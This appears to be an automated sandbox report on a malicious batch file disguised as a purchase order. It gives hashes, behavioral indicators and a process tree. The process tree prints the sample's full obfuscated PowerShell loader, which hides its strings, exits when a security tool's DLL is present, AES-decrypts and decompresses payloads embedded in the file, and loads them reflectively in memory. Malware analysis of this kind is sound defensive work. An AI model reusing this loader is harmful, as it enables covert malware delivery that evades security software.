Analysis
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max time kernel
104s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
08-10-2024 10:33
Static task
static1
Behavioral task
behavioral1
Sample
Order Nº TM24-10-08.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Order Nº TM24-10-08.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Order Nº TM24-10-08.pdf
Resource
win7-20240729-en
Behavioral task
behavioral4
Sample
Order Nº TM24-10-08.pdf
Resource
win10v2004-20241007-en
General
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Target
Order Nº TM24-10-08.bat
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Size
260KB
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MD5
555de6b8f4d49dbbcb011cf0f749a3a7
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SHA1
8382c757c865ae49f03ba06e2ca88d8076fcca28
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SHA256
bb22b9f36aa70d1503e56fe38c8a4e79ac3020ff8ce0c33c08e79173e56f2ee8
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SHA512
4915d206b39b81c291fd2b8e79a651cb15ebd386ffb16228dcb4ce94c48987fd2f5e258dd09026c881533aef186f90fbaa5199f9e524ac950ed04364c0465364
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SSDEEP
6144:nOEnu+m6LlyFuZli6Ed9/nOtbS2Z1QBHTI:nOX96LGuSJnOtbSjK
Malware Config
Signatures
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3052 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3052 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3052 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1848 wrote to memory of 2952 1848 cmd.exe 31 PID 1848 wrote to memory of 2952 1848 cmd.exe 31 PID 1848 wrote to memory of 2952 1848 cmd.exe 31 PID 1848 wrote to memory of 3052 1848 cmd.exe 32 PID 1848 wrote to memory of 3052 1848 cmd.exe 32 PID 1848 wrote to memory of 3052 1848 cmd.exe 32 PID 1848 wrote to memory of 3052 1848 cmd.exe 32
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat';$DXzR='ReamnDpdLmnDpinmnDpesmnDp'.Replace('mnDp', ''),'EntbEvvrybEvvPbEvvoinbEvvtbEvv'.Replace('bEvv', ''),'FromvYVmmvYVBmvYVamvYVsmvYVe6mvYV4SmvYVtrmvYVingmvYV'.Replace('mvYV', ''),'SpeSWZliteSWZ'.Replace('eSWZ', ''),'DePsMkcoPsMkmpPsMkrPsMkesPsMksPsMk'.Replace('PsMk', ''),'ChrhhOarhhOnrhhOgrhhOeExrhhOtenrhhOsirhhOorhhOnrhhO'.Replace('rhhO', ''),'GetALBtCtALButALBrrtALBentALBtPtALBrotALBctALBestALBstALB'.Replace('tALB', ''),'InIMkLvoIMkLkeIMkL'.Replace('IMkL', ''),'LoIpdGaIpdGdIpdG'.Replace('IpdG', ''),'CopOzUZyToOzUZ'.Replace('OzUZ', ''),'EleThfYmenThfYtThfYAThfYtThfY'.Replace('ThfY', ''),'MaOxpNinMOxpNoOxpNdOxpNuOxpNleOxpN'.Replace('OxpN', ''),'CIQANreaIQANteDIQANeIQANcrIQANyIQANptoIQANrIQAN'.Replace('IQAN', ''),'TofCFraofCFnofCFsfoofCFrmofCFFiofCFnaofCFlofCFBofCFlocofCFkofCF'.Replace('ofCF', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($DXzR[6])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function bDdfx($DCabq){$PkWMx=[System.Security.Cryptography.Aes]::Create();$PkWMx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PkWMx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PkWMx.Key=[System.Convert]::($DXzR[2])('2mOYEaPt8lWctq01VMMqhN34VnXfkC7nLbHLQY7/Qz8=');$PkWMx.IV=[System.Convert]::($DXzR[2])('dCF02IjSKAA6m1jMUv5SoQ==');$AcKBd=$PkWMx.($DXzR[12])();$MScdO=$AcKBd.($DXzR[13])($DCabq,0,$DCabq.Length);$AcKBd.Dispose();$PkWMx.Dispose();$MScdO;}function DOVto($DCabq){$BTfcL=New-Object System.IO.MemoryStream(,$DCabq);$KMREB=New-Object System.IO.MemoryStream;$ushEi=New-Object System.IO.Compression.GZipStream($BTfcL,[IO.Compression.CompressionMode]::($DXzR[4]));$ushEi.($DXzR[9])($KMREB);$ushEi.Dispose();$BTfcL.Dispose();$KMREB.Dispose();$KMREB.ToArray();}$McwgB=[System.IO.File]::($DXzR[0])([Console]::Title);$cTfVJ=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 5).Substring(2))));$nYDNp=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 6).Substring(2))));[System.Reflection.Assembly]::($DXzR[8])([byte[]]$nYDNp).($DXzR[1]).($DXzR[7])($null,$null);[System.Reflection.Assembly]::($DXzR[8])([byte[]]$cTfVJ).($DXzR[1]).($DXzR[7])($null,$null); "2⤵PID:2952
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3052
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